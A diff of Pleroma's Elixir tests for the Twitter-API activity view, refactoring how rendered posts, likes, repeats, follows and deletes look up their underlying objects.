	- "<img height=\"32px\" width=\"32px\" alt=\"woollysocks\" title=\"woollysocks\" src=\"http://localhost:4001/finmoji/128px/woollysocks-128.png\" /> meow"
	+ "<img height=\"32px\" width=\"32px\" alt=\"firefox\" title=\"firefox\" src=\"http://localhost:4001/emoji/Firefox.gif\" /> meow"

	assert result["summary"] == expected
	assert result["summary_html"] == expected_html
	end

	test "a create activity with a summary containing invalid HTML" do
	{:ok, activity} =
	CommonAPI.post(insert(:user), %{
	"spoiler_text" => "<span style=\"color: magenta; font-size: 32px;\">meow</span>",
	"status" => "."
	})

	result = ActivityView.render("activity.json", activity: activity)

	expected = "meow"

	assert result["summary"] == expected
	assert result["summary_html"] == expected
	end

	test "a create activity with a note" do
	user = insert(:user)
	other_user = insert(:user, %{nickname: "shp"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
	+ object = Object.normalize(activity.data["object"])

	result = ActivityView.render("activity.json", activity: activity)

	- convo_id = Utils.context_to_conversation_id(activity.data["object"]["context"])
	+ convo_id = Utils.context_to_conversation_id(object.data["context"])

	expected = %{
	"activity_type" => "post",
	"attachments" => [],
	"attentions" => [
	UserView.render("show.json", %{user: other_user})
	],
	- "created_at" => activity.data["object"]["published"] \|> Utils.date_to_asctime(),
	- "external_url" => activity.data["object"]["id"],
	+ "created_at" => object.data["published"] \|> Utils.date_to_asctime(),
	+ "external_url" => object.data["id"],
	"fave_num" => 0,
	"favorited" => false,
	"id" => activity.id,
	"in_reply_to_status_id" => nil,
	"in_reply_to_screen_name" => nil,
	"in_reply_to_user_id" => nil,
	"in_reply_to_profileurl" => nil,
	"in_reply_to_ostatus_uri" => nil,
	"is_local" => true,
	"is_post_verb" => true,
	"possibly_sensitive" => false,
	"repeat_num" => 0,
	"repeated" => false,
	"pinned" => false,
	"statusnet_conversation_id" => convo_id,
	"summary" => "",
	"summary_html" => "",
	"statusnet_html" =>
	"Hey <span class=\"h-card\"><a data-user=\"#{other_user.id}\" class=\"u-url mention\" href=\"#{
	other_user.ap_id
	}\">@<span>shp</span></a></span>!",
	"tags" => [],
	"text" => "Hey @shp!",
	- "uri" => activity.data["object"]["id"],
	+ "uri" => object.data["id"],
	"user" => UserView.render("show.json", %{user: user}),
	"visibility" => "direct",
	"card" => nil,
	"muted" => false
	}

	assert result == expected
	end

	test "a list of activities" do
	user = insert(:user)
	other_user = insert(:user, %{nickname: "shp"})
	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
	+ object = Object.normalize(activity.data["object"])

	- convo_id = Utils.context_to_conversation_id(activity.data["object"]["context"])
	+ convo_id = Utils.context_to_conversation_id(object.data["context"])

	mocks = [
	{
	Utils,
	[:passthrough],
	[context_to_conversation_id: fn _ -> false end]
	},
	{
	User,
	[:passthrough],
	[get_cached_by_ap_id: fn _ -> nil end]
	}
	]

	with_mocks mocks do
	[result] = ActivityView.render("index.json", activities: [activity])

	assert result["statusnet_conversation_id"] == convo_id
	assert result["user"]
	refute called(Utils.context_to_conversation_id(:_))
	refute called(User.get_cached_by_ap_id(user.ap_id))
	refute called(User.get_cached_by_ap_id(other_user.ap_id))
	end
	end

	test "an activity that is a reply" do
	user = insert(:user)
	other_user = insert(:user, %{nickname: "shp"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})

	{:ok, answer} =
	CommonAPI.post(other_user, %{"status" => "Hi!", "in_reply_to_status_id" => activity.id})

	result = ActivityView.render("activity.json", %{activity: answer})

	assert result["in_reply_to_status_id"] == activity.id
	end

	test "a like activity" do
	user = insert(:user)
	other_user = insert(:user, %{nickname: "shp"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
	{:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)

	result = ActivityView.render("activity.json", activity: like)
	activity = Pleroma.Activity.get_by_ap_id(activity.data["id"])

	expected = %{
	"activity_type" => "like",
	"created_at" => like.data["published"] \|> Utils.date_to_asctime(),
	"external_url" => like.data["id"],
	"id" => like.id,
	"in_reply_to_status_id" => activity.id,
	"is_local" => true,
	"is_post_verb" => false,
	"favorited_status" => ActivityView.render("activity.json", activity: activity),
	"statusnet_html" => "shp favorited a status.",
	"text" => "shp favorited a status.",
	"uri" => "tag:#{like.data["id"]}:objectType=Favourite",
	"user" => UserView.render("show.json", user: other_user)
	}

	assert result == expected
	end

	test "a like activity for deleted post" do
	user = insert(:user)
	other_user = insert(:user, %{nickname: "shp"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
	{:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)
	CommonAPI.delete(activity.id, user)

	result = ActivityView.render("activity.json", activity: like)

	expected = %{
	"activity_type" => "like",
	"created_at" => like.data["published"] \|> Utils.date_to_asctime(),
	"external_url" => like.data["id"],
	"id" => like.id,
	"in_reply_to_status_id" => nil,
	"is_local" => true,
	"is_post_verb" => false,
	"favorited_status" => nil,
	"statusnet_html" => "shp favorited a status.",
	"text" => "shp favorited a status.",
	"uri" => "tag:#{like.data["id"]}:objectType=Favourite",
	"user" => UserView.render("show.json", user: other_user)
	}

	assert result == expected
	end

	test "an announce activity" do
	user = insert(:user)
	other_user = insert(:user, %{nickname: "shp"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
	- {:ok, announce, _object} = CommonAPI.repeat(activity.id, other_user)
	+ {:ok, announce, object} = CommonAPI.repeat(activity.id, other_user)

	- convo_id = Utils.context_to_conversation_id(activity.data["object"]["context"])
	+ convo_id = Utils.context_to_conversation_id(object.data["context"])

	activity = Activity.get_by_id(activity.id)

	result = ActivityView.render("activity.json", activity: announce)

	expected = %{
	"activity_type" => "repeat",
	"created_at" => announce.data["published"] \|> Utils.date_to_asctime(),
	"external_url" => announce.data["id"],
	"id" => announce.id,
	"is_local" => true,
	"is_post_verb" => false,
	"statusnet_html" => "shp retweeted a status.",
	"text" => "shp retweeted a status.",
	"uri" => "tag:#{announce.data["id"]}:objectType=note",
	"user" => UserView.render("show.json", user: other_user),
	"retweeted_status" => ActivityView.render("activity.json", activity: activity),
	"statusnet_conversation_id" => convo_id
	}

	assert result == expected
	end

	test "A follow activity" do
	user = insert(:user)
	other_user = insert(:user, %{nickname: "shp"})

	{:ok, follower} = User.follow(user, other_user)
	{:ok, follow} = ActivityPub.follow(follower, other_user)

	result = ActivityView.render("activity.json", activity: follow)

	expected = %{
	"activity_type" => "follow",
	"attentions" => [],
	"created_at" => follow.data["published"] \|> Utils.date_to_asctime(),
	"external_url" => follow.data["id"],
	"id" => follow.id,
	"in_reply_to_status_id" => nil,
	"is_local" => true,
	"is_post_verb" => false,
	"statusnet_html" => "#{user.nickname} started following shp",
	"text" => "#{user.nickname} started following shp",
	"user" => UserView.render("show.json", user: user)
	}

	assert result == expected
	end

	test "a delete activity" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
	{:ok, delete} = CommonAPI.delete(activity.id, user)

	result = ActivityView.render("activity.json", activity: delete)

	expected = %{
	"activity_type" => "delete",
	"attentions" => [],
	"created_at" => delete.data["published"] \|> Utils.date_to_asctime(),
	"external_url" => delete.data["id"],
	"id" => delete.id,
	"in_reply_to_status_id" => nil,
	"is_local" => true,
	"is_post_verb" => false,
	"statusnet_html" => "deleted notice {{tag",
	"text" => "deleted notice {{tag",
	"uri" => delete.data["object"],
	"user" => UserView.render("show.json", user: user)
	}

	assert result == expected
	end

	test "a peertube video" do
	{:ok, object} =
	- ActivityPub.fetch_object_from_id(
	+ Pleroma.Object.Fetcher.fetch_object_from_id(
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	)

	%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])

	result = ActivityView.render("activity.json", activity: activity)

	assert length(result["attachments"]) == 1
	assert result["summary"] == "Friday Night"
	end
	end

File Metadata

Mime Type: text/x-diff
Expires: Mon, Oct 12, 10:46 AM (1 d, 22 h)
Storage Engine: blob
Storage Format: Raw Data
Storage Handle: 1786149
Default Alt Text: (786 KB)

No OneTemporaryActions

View Options

File Metadata

Event Timeline

No OneTemporary
Actions